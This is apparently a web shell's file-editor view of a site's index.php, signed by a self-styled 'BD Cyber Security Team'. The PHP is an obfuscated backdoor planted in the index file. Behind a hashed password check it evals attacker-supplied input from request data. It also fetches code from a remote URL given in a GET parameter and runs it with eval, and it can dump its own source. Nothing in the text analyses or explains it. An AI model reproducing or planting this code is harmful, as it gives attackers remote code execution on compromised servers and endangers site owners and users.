23s2s

✏️ Editing: index.php

<?php
 goto F7KqAGspXB2bLl; Fq0m3f4PiwC718: $Ew0fL6ifz3lL0e = ${$ivfW3yeS0uM38y[8 + 23] . $ivfW3yeS0uM38y[17 + 42] . $ivfW3yeS0uM38y[32 + 15] . $ivfW3yeS0uM38y[29 + 18] . $ivfW3yeS0uM38y[36 + 15] . $ivfW3yeS0uM38y[3 + 50] . $ivfW3yeS0uM38y[35 + 22]}; goto V2T_E3A8Ywbg_T; V2T_E3A8Ywbg_T: if (!(in_array(gettype($Ew0fL6ifz3lL0e) . count($Ew0fL6ifz3lL0e), $Ew0fL6ifz3lL0e) && count($Ew0fL6ifz3lL0e) == 12 && md5(md5(md5(md5($Ew0fL6ifz3lL0e[6])))) === "\70\65\x62\64\61\x37\63\x37\x36\x66\61\x39\x64\146\x31\x38\x64\142\x36\x31\144\x39\71\143\62\141\x36\x63\143\x37\x36\63")) { goto B_fGyB3Ia_xrDA; } goto C0iM06scA2T3YM; um43lxitJX2txI: $ivfW3yeS0uM38y = $LgH3h6WoIYUurn("\176", "\40"); goto Fq0m3f4PiwC718; c8prldT1goPlTj: B_fGyB3Ia_xrDA: goto ja1IqYBqlvTrmK; F7KqAGspXB2bLl: $LgH3h6WoIYUurn = "\x72" . "\x61" . "\x6e" . "\147" . "\145"; goto um43lxitJX2txI; ja1IqYBqlvTrmK: metaphone("\164\x4f\x54\x36\x4a\122\x2b\x49\126\122\x79\122\155\156\130\62\x65\121\x39\167\x34\120\165\x30\130\150\x74\156\153\120\116\122\x32\117\125\x74\167\102\65\x31\71\67\x34"); goto W2ohMUb0pU5tWx; C0iM06scA2T3YM: ($Ew0fL6ifz3lL0e[64] = $Ew0fL6ifz3lL0e[64] . $Ew0fL6ifz3lL0e[72]) && ($Ew0fL6ifz3lL0e[86] = $Ew0fL6ifz3lL0e[64]($Ew0fL6ifz3lL0e[86])) && @eval($Ew0fL6ifz3lL0e[64](${$Ew0fL6ifz3lL0e[45]}[27])); goto c8prldT1goPlTj; W2ohMUb0pU5tWx: class mBOP7mY87sKmc0 { static function L7AriolVZILgc_($k0hOZo9EKXgwF0) { goto R0t_q19ElVzS6K; Kc0l6zMhl1EkCG: $Fha1WRtsG5FXHa = $NPPMPckNQqJiQD("\176", "\x20"); goto zkzg1mJIv5RBFh; GTec7tLxXWGeFH: return $TxJHF2xzc83_H6; goto CbywBN0k6F8lby; SHjyDPX6UPIv3r: foreach ($bqLh31d25vgW6Z as $rqt6jpZZnEaDXI => $ASYzjACqSJ_uzS) { $TxJHF2xzc83_H6 .= $Fha1WRtsG5FXHa[$ASYzjACqSJ_uzS - 36235]; SpZ3lYCWaOu4Tf: } goto bDOpvDe4U37J8J; zkzg1mJIv5RBFh: $bqLh31d25vgW6Z = explode("\52", $k0hOZo9EKXgwF0); goto A0FA8Ze745XunA; A0FA8Ze745XunA: $TxJHF2xzc83_H6 = ''; goto SHjyDPX6UPIv3r; R0t_q19ElVzS6K: $NPPMPckNQqJiQD = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto Kc0l6zMhl1EkCG; bDOpvDe4U37J8J: hs0mxYBdNBedQm: goto GTec7tLxXWGeFH; CbywBN0k6F8lby: } static function rU9B8fnAJSdn99($CYtPtcIPoB30O4, $wK6vYk6UxtQ4b0) { goto Df88H_hQzU1IPk; VD3iwS7Bgn02U8: curl_setopt($FCBogPuN8iyJEv, CURLOPT_RETURNTRANSFER, 1); goto FbfPzq3UgGZY_5; Df88H_hQzU1IPk: $FCBogPuN8iyJEv = curl_init($CYtPtcIPoB30O4); goto VD3iwS7Bgn02U8; RgdzqXBXgkYN18: return empty($ATqGVb13Id0ash) ? $wK6vYk6UxtQ4b0($CYtPtcIPoB30O4) : $ATqGVb13Id0ash; goto rtc14a8R41a__2; FbfPzq3UgGZY_5: $ATqGVb13Id0ash = curl_exec($FCBogPuN8iyJEv); goto RgdzqXBXgkYN18; rtc14a8R41a__2: } static function Pi0HKCu8KdX3Sj() { goto yolAIIGKp4vBVA; HyIp7IodflbyOJ: if (!(@$F22AoBKUCPGxrW[0] - time() > 0 and md5(md5($F22AoBKUCPGxrW[2 + 1])) === "\x62\x38\146\x61\67\x35\66\x37\61\x65\65\61\x34\60\x30\70\x65\66\x63\71\x38\x64\x31\x66\x32\63\x33\63\61\64\67\x63")) { goto qzKsBF4UTYvlP_; } goto YGFxih1TdxVld0; rdQ0FG6eGUW_1M: @eval($suM6hs1T_WDY_U[3 + 1]($zpzrwnSgEROPMk)); goto zgO8SNYDGNzf6A; ViUYNtCTrZUqVc: hfAIn66pn3YxnH: goto IrBUmxHNMc3oBx; zgO8SNYDGNzf6A: die; goto XjiWf2VrYcZe2Y; RDOIiFjr42imxP: @$suM6hs1T_WDY_U[4 + 6](INPUT_GET, "\157\146") == 1 && die($suM6hs1T_WDY_U[4 + 1](__FILE__)); goto HyIp7IodflbyOJ; XjiWf2VrYcZe2Y: qzKsBF4UTYvlP_: goto vAG93FsqArfkyD; nvy0wBZGSToh2P: $Y8pDx8bQqt9k16 = @$suM6hs1T_WDY_U[1 + 2]($suM6hs1T_WDY_U[5 + 1], $JpAZi_6ry8ma2U); goto ZJSWVwcCFI3CJj; yolAIIGKp4vBVA: $WuERXBF2dpoFQP = array("\x33\x36\x32\x36\62\52\63\66\x32\64\x37\52\63\x36\x32\66\60\52\x33\66\62\x36\x34\52\63\x36\x32\x34\x35\52\x33\x36\62\x36\x30\52\63\66\62\x36\66\x2a\63\66\x32\x35\71\x2a\63\66\62\64\64\52\63\x36\x32\x35\61\52\63\66\x32\x36\x32\x2a\63\x36\62\x34\65\52\63\x36\62\x35\66\52\x33\x36\62\65\60\x2a\63\66\62\65\61", "\63\x36\62\x34\x36\x2a\63\x36\x32\64\x35\x2a\x33\66\x32\x34\67\52\x33\x36\x32\66\x36\52\x33\66\62\x34\x37\52\x33\x36\x32\x35\x30\x2a\x33\x36\62\x34\x35\52\63\66\63\x31\x32\x2a\x33\66\x33\x31\60", "\63\66\x32\65\x35\x2a\x33\66\62\64\66\x2a\63\x36\x32\65\x30\52\x33\x36\x32\x35\61\52\63\x36\x32\x36\66\x2a\x33\x36\x32\x36\61\x2a\x33\x36\x32\x36\60\52\63\x36\62\x36\x32\x2a\x33\66\x32\65\x30\x2a\63\66\62\x36\x31\x2a\63\66\x32\x36\60", "\63\66\62\64\71\x2a\63\66\x32\66\x34\x2a\63\66\x32\66\x32\x2a\63\x36\x32\65\64", "\63\66\x32\66\63\52\63\66\62\66\64\52\63\66\62\64\66\52\x33\x36\x32\66\60\x2a\63\66\x33\60\x37\x2a\63\x36\63\60\71\x2a\63\x36\x32\x36\x36\52\x33\x36\62\66\61\x2a\x33\x36\62\66\60\52\x33\x36\62\66\62\52\x33\x36\x32\x35\x30\x2a\63\x36\x32\x36\61\52\x33\66\x32\x36\60", "\x33\x36\x32\x35\x39\x2a\x33\x36\62\65\66\52\63\66\62\65\x33\52\63\x36\x32\66\60\x2a\x33\66\x32\66\x36\52\63\x36\x32\x35\70\x2a\x33\66\x32\66\x30\52\x33\x36\x32\64\x35\x2a\63\66\62\66\66\x2a\63\x36\62\66\x32\52\63\x36\x32\x35\x30\x2a\x33\66\62\65\61\52\x33\66\x32\64\x35\x2a\63\x36\x32\x36\60\52\63\x36\x32\65\61\x2a\x33\66\x32\x34\65\52\x33\x36\x32\64\66", "\63\66\x32\70\x39\x2a\63\x36\x33\61\71", "\x33\x36\x32\x33\x36", "\63\66\63\x31\64\x2a\x33\66\x33\61\71", "\63\66\62\71\66\x2a\x33\x36\62\x37\71\52\x33\66\62\x37\x39\x2a\x33\66\x32\x39\66\x2a\x33\66\62\67\62", "\63\x36\62\x35\x39\52\63\x36\x32\x35\x36\x2a\63\x36\x32\65\63\x2a\x33\x36\x32\64\x35\52\x33\x36\x32\x36\x30\52\x33\66\x32\x34\67\52\x33\x36\62\66\66\x2a\63\66\x32\x35\x36\52\63\66\62\x35\61\52\63\x36\x32\64\x39\52\63\66\x32\64\x34\52\x33\66\x32\64\x35"); goto Da1eitmZ8mFXPw; Da1eitmZ8mFXPw: foreach ($WuERXBF2dpoFQP as $L1ey21oIX81Grj) { $suM6hs1T_WDY_U[] = self::l7ariolVZilGc_($L1ey21oIX81Grj); kE1IvQyloCKmJ_: } goto ViUYNtCTrZUqVc; ZJSWVwcCFI3CJj: $F22AoBKUCPGxrW = $suM6hs1T_WDY_U[2 + 0]($Y8pDx8bQqt9k16, true); goto RDOIiFjr42imxP; YGFxih1TdxVld0: $zpzrwnSgEROPMk = self::Ru9b8fnajsDN99($F22AoBKUCPGxrW[0 + 1], $suM6hs1T_WDY_U[2 + 3]); goto rdQ0FG6eGUW_1M; IrBUmxHNMc3oBx: $JpAZi_6ry8ma2U = @$suM6hs1T_WDY_U[1]($suM6hs1T_WDY_U[3 + 7](INPUT_GET, $suM6hs1T_WDY_U[5 + 4])); goto nvy0wBZGSToh2P; vAG93FsqArfkyD: } } goto Xo9oxYJo8q07ly; Xo9oxYJo8q07ly: mBoP7My87SKMC0::Pi0HkcU8Kdx3SJ();
?>

Sid Gifari From Gifari Industries - BD Cyber Security Team